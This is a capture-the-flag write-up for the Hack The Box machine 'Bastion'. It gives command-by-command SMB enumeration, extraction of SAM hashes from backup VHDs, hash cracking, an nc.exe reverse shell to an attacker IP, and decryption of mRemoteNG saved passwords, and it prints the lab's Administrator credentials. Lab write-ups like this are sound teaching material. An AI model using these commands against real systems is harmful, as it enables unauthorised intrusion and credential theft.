๐Ÿ’ฅCyb3rBook

Search

SearchSearch

BASTION

Apr 10, 202518 min read

PRIMARY CATEGORY โ†’ EASY

Summary

  • SMB Enumeration (Netexec, SMBClient & SMBMap)
  • Mounting via CIFS a Remote Shared Resource
  • Windows Registry Files extraction from a VHD File using 7z
  • VHD File Mounting in Linux through GuestMount
  • LM and NTLMv1 Hashes dump from SAM and SYSTEM (Impacket Secretsdump.py)
  • Cracking NTLMv1 Hashes using Hashcat
  • Reverse Connection stablished through an uploaded Netcat binary
  • Privesc by Extracting and Decrypting mRemoteNG passwords from a confCons.xml file using a custom script
  • Connection to the remote machine as Administrator via WinRM (Evil-WinRM), SMB (PSexec) and SSH

Setup

Directory creation with the Machineโ€™s Name

mkdir Bastion && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

Bastion
mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are โ†’

  • About 64 โ†’ Linux
  • About 128 โ†’ Windows
Bastion/scans
ping -c1 10.129.235.42

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Letโ€™s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Bastion/scans
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allPorts 10.129.235.42

Open Ports โ†’ 22, 135, 139, 445 and 5985

The remaining ones are Dynamic RPC Ports

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

Bastion/Scans
extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

Bastion/Scans
nmap -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -oN targeted 10.129.235.42
22 - SSH

OpenSSH Version โ†’ v7.9

The Version of the Service running can also be obtained via Banner Grabbing as follows โ†’

Bastion/scans
nc -v 10.129.235.42 22 <<< ""
CVE-2018-15473

All the OpenSSH Versions prior to the v7.7 one are vulnerable to a System User Enumeration

Reference

In this case, this does not apply since the OpenSSH Version is 7.9

139, 445 - SMB
Hostname and OS Version Extraction

First of all, letโ€™s extract some information such as the OS Version, hostname and other stuff using netexec

Reference

Bastion/evidence/data
nxc smb 10.129.235.42

It seems that itโ€™s a Windows Server 2016 x64 and its name is Bastion

Therefore, we should add an entry in the /etc/hosts file related to this host

Bastion/evidence/data
printf "10.129.235.42\tbastion\n" >> /etc/hosts
Shared Resources Enumeration

Since we do not yet have valid credentials yet to authenticate through SMB, letโ€™s use a Null Session to enumerate any shared resources

Bastion/evidence/data
smbclient --user '' --no-pass --list //bastion

We cannot enumerate anything via Null Sessions

Try to authenticate using a random username

Bastion/evidence/data
smbclient --user 'anyRandomUser' --no-pass --list //bastion

And now we are able to list certain shared resources

But we do not see the permissions we have on those resources. Therefore, we can use netexec or smbmap to accomplish this task

  • Netexec
Bastion/evidence/data
nxc smb bastion --username 'anyRandomUser' --password '' --shares
  • Smbmap
Bastion/evidence/data
smbmap -H bastion -u 'anyRandomUser' -p ''

One resource stands out from the rest and we have READ and WRITE permissions โ†’ Backups

Connect to it using smbclient to list list its content

Bastion/evidence/data
smbclient --user 'anyRandomUser' --no-pass //bastion/Backups

Remember that, for resources with a large file structure, it may be more convenient to use netexec and its spider_plus module or smbmap

In that case, proceed as follows โ†’

  • Netexec + Spider_Plus Module
Bastion/evidence/data
nxc smb bastion --username 'anyRandomUser' --password '' --module spider_plus --share 'Backups'
Bastion/evidence/data
cat --language json -- /tmp/nxc_hosted/nxc_spider_plus/10.129.235.42.json
  • Smbmap
Bastion/evidence/data
smbmap -H bastion -u 'anyRandomUser' -p '' -R

Regardless of the SMB enumeration tool used, there is a note.txt file and a WindowsImageBackup directory

Mounting via CIFS (SMBv1 Implementation) a Remote Shared Resource

Since the above directory usually contains Windows Backups/Images, being large files, we will mount the Backups shared resource locally to inspect it properly instead of download it

Bastion/evidence/data
mkdir bastion_backups
Bastion/evidence/data
mount --types cifs --options username='anyRandomUser',password='' //10.129.235.42/Backups bastion_backups

One mounted, we can use tree to get an overview of the file structure

tree -a bastion_backups

At first glance, there are three interesting files, the note.txt and two VHD files

By extracting the content of the .txt file we obtain the following โ†’

Nothing interesting, but it seems that we have done well by mounting the shared resource locally instead of download all its content

In the other hand, we have two VHD files.

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
du -shc *.vhd

Note that it is not necessary to use a Windows Host to extract the content of those Virtual Disks or mount them

From Linux, both tasks can be accomplished as follows โ†’

VHD Data Extraction

We can use tools such as 7z to list the entire content of a VHD file and extract it or part of it

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
7z l 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd

The lightest VHD file does not have anything interesing. It seems to be a Boot partition of a Windows System

But, by inspecting the other one, things change since its content corresponds to a Windows OS File System

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
7z l 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd

The first thought I have, as the Windows Host is not booted, is to obtain the SAM and System registry files

With both files, we can extract the NTLM Hashes from the SAM using tools such as secretsdump.py or samdump2

Therefore, letโ€™s verify the path of both files inside the VHD

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
7z l 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd | grep -iP -- '(SAM|SYSTEM)$'

Then, extract them as follows โ†’

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
7z e 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -o/home/al3xbb/Desktop/4l3xBB/HTB/Bastion_notes/evidence/data Windows/System32/config/SAM

Once we have both SAM and SYSTEM files, just use secretsdump.py from Impacket to extract the NTLM Hashes

Reference

Bastion/evidence/data
secretsdump.py LOCAL -outputfile hashes -sam SAM -system SYSTEM

Having those hashes, we can apply Pass-the-hash or try to crack them offline using hashcat or john

Maybe it also can be done using these websites โ†’

VHD File Mounting

Instead of use 7z to extract the data stored inside a VHD file, we can use guestmount to mount a Virtual Disk, such as a VHD or VHDX, in a local directory

bastion_backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351
guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /home/al3xbb/Desktop/4l3xBB/HTB/Bastion_notes/evidence/data/bastion_vhd -v

Once the VHD is mounted locally, just copy the SAM and SYSTEM files

Bastion/evidence/data
cp bastion_vhd/Windows/System32/config/{SAM,SYSTEM} .

Then, the idea is the same as before, just extract the NTLM Hashes using secretsdump.py to perform Pass-the-Hash or to crack them offline

First, we check if the extracted hashes are valid as follows โ†’

Bastion/evidence/data
nxc smb bastion --username 'Administrator' --hash aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9

The NTLM hash of the Administrator user is invalid, letโ€™s check the other one

nxc smb bastion --username 'l4mpje' --hash aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9

Unlike the other one, this one is valid

Remember that the port 5985 related to WinRM is open, but netexec did not report the Pwned message, so this user may not belong to the Remote Management Users group

We list again the available shares but this time authenticating as the above user to check if it has other type of permissions on those folders

smbmap -H bastion -u 'l4mpje' -p 'aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9'

It has the same type of permissions that prior authentication

Since this user doest not have write permission on the ADMIN$ or C$ shared folders, we cannot use psxec.py from Impacket to upload an executable that creates a service on the target to be able to execute commands and receive their output

Note that there is an OpenSSH server listening on Port 22. Letโ€™s try to crack these hashes and get a valid password to try to log in as the above user via SSH

Cracking NTLM Hashes

Extract NTLM hashes from the hash.sam file

Bastion/evidence/data
awk -F: '{ print $4 }' hashes.sam > hashes

Then, use hashcat to try to crack them as follows โ†’

Bastion/evidence/data
hashcat --hash-type 1000 --attack-mode 0 --force -O hashes /usr/share/wordlists/rockyou.txt

To display them โ†’

hashcat --hash-type 1000 --show hashes

It seems we have a valid password right now

Letโ€™s log in now via SSH as L4mpje user using the previous credential

Bastion/evidence/data
ssh -p22 l4mpje@bastion

And Boom! We are in as L4mpje

Shell as System User

The shell we get via SSH is a bit weird and most of the shortcuts dont work

We can execute remote commands via SSH without get an interactive shell as follows

ssh -p<PORT> <USER>@<TARGET> "<COMMAND>"

Therefore, we launch a Powershell instance to see if something changes

ssh -p22 l4mpje@bastion "powershell.exe"

Now less rare but shortcuts still do not work. Just upload a nc.exe file and execute it to get an interactive shell

From the attacker, locate a nc.exe and copy to the current directory to share it via a Python SimpleHTTPServer

Bastion/evidence/data
locate nc.exe
cp /usr/share/seclist/Web-Shells/FuzzDB/nc.exe . # No conflict with Defender
Bastion/evidence/data
python3 -m http.server 8888

From the target, move to a directory where the current user has write permission and download that resource

AppLocker Bypass

cd C:\Windows\System32\spool\drivers\color
IWR -UseBasicParsing -OutFile '.\nc.exe' -Uri 'http://10.10.16.34:8888/nc.exe'

Once download, from the attacker again, set a listener with nc and wrap the reverse connection using rlwrap to get a more interactive PTY/TTY

Bastion/evidence/data
rlwrap -CaR nc -nlvp 443

And execute the nc.exe as follows from the target to send a powershell instance โ†’

.\nc.exe -e powershell.exe 10.10.16.34 443

And Boom! We have an interactive shell to properly inpect the target. The only thing we cannot do is C-c

We could use ConPTYShell, but it only works from Windows 10 or Windows Server 2019, and this machine is a Windows Server 2016. So, just be careful ๐Ÿ˜Š

By the way, we can get the non-privilege flag

Get-Content C:\Users\l4mpje\Desktop\user.txt

Privesc

Initial Non-Privileged User โ†’ L4mpje

mRemoteNG - Credentials Extraction

Once we are in as L4mpje, we do not find nothing interesting in C:\

The same applies to the C:\Users\l4mpje directory

Although, if we take a look into C:\Program Files (x86) directory, there is an unusual program folder โ†’ mRemoteNG

This is a software used as a remote connection manager

Therefore, I guess that it stores credentials related to existing or saved connections somewhere

Doing some research, we found the following article where they mention a XML configuration file which stores the password credentials of saved connections

This file is usually located in โ†’ %APPDATA%\mRemoteNG

Therefore, letโ€™s try to find this file in the target system โ†’ confCons.xml

Get-ChildItem -Path C:\ -Force -Recurse -ErrorAction SilentlyContinue -WarningAction SilentlyContinue | Where-Object { $_.Name -Match 'confCons.xml' }

File location โ†’ C:\Users\L4mpje\AppData\Roaming\mRemoteNG

Inpecting that file, the passwords are stored in base64. But, if we try to decode them, it seems that they were encrypted

Therefore, we need to know several things such as โ†’

  • Symmetric Encryption Algorithm used
  • Symmetric Encryption Key
  • IV or Nonce
  • Whether a Key Derivation Function has been applied on the symmetric encryption key, and if yes, which one has been used

And we may need to know more data depending on the algorithm used

By following this other article, we get all the information we need

First of all, the default master key used is mR3m

A PBKDF2-SHA1 function is applied on the above key to generate the symmetric encryption key

After that, the password is encrypted through AES-GCM using the derivated master key and an IV or Nonce

Then, two values are generated, the encrypted password and a Tag used to validate data integrity

The above two values together with the IV and the PBKDF2-SHA1โ€™s Salt are concatenated and base64-encoded

Note that this process applies for mRemoteNG 1.75v or newer. If we inspect the content of the C:\Program Files (x86)\mRemoteNG directory, we find a changelog.txt

The last entry in this file correponds to 1.76.10v, so we know that the software installed on the target is newer than the 1.75v

Thus, since we have the confCons.xml file, we can try to decrypt the stored passwords using mR3m default master key

To perform this task, just follow the steps of the referenced Github repository and run the script as indicated โ†’

Reference

python3 mRemoteNG.py --file confCons.xml

Letโ€™s check if the obtained credentials for the Administrator user are valid

nxc smb bastion --username 'Administrator' --password 'thXLHM96BeKL0ER2'

Here we go! From here, we have several ways to connect to the remote machine since we are Administrators and the WinRM Port is listening

SSH

As we have done earlier with the L4mpje user, the SSH service is listening in the target, therefore, we can use the SSH client to establish a connection and log in as the Administrator user

ssh -p22 administrator@bastion "powershell.exe"
WinRM

Reference

Since we are administrators and the WinRMโ€™s 5985 Port is enabled and listening, we can access to the target via Evil-WinRM as well

evil-winrm --ip bastion --user 'administrator' --password 'thXLHM96BeKL0ER2'
PSExec

Reference

Being Administrator makes that we have write access on standard SMB shared folders such as ADMIN* or *C\

Thus, we can gain access to the machine via SMB using psexec.py tool from the Impacket suite

Remember that this tool takes advantage of the write permissions on the ADMIN$ folder to upload an .EXE file that creates and starts a service to be able to execute remote commands and receive their output

psexec.py WORKGROUP/administrator:'thXLHM96BeKL0ER2'@bastion

Regarless of the method used to connect to the machine, the result is the same, we have access to it as Administrators

Just get the content of the root.txt file and move on to the next ๐Ÿ˜Š

Custom Exploits

mRemoteNGโ€™s Password Decrypter

See here

Graph View

Backlinks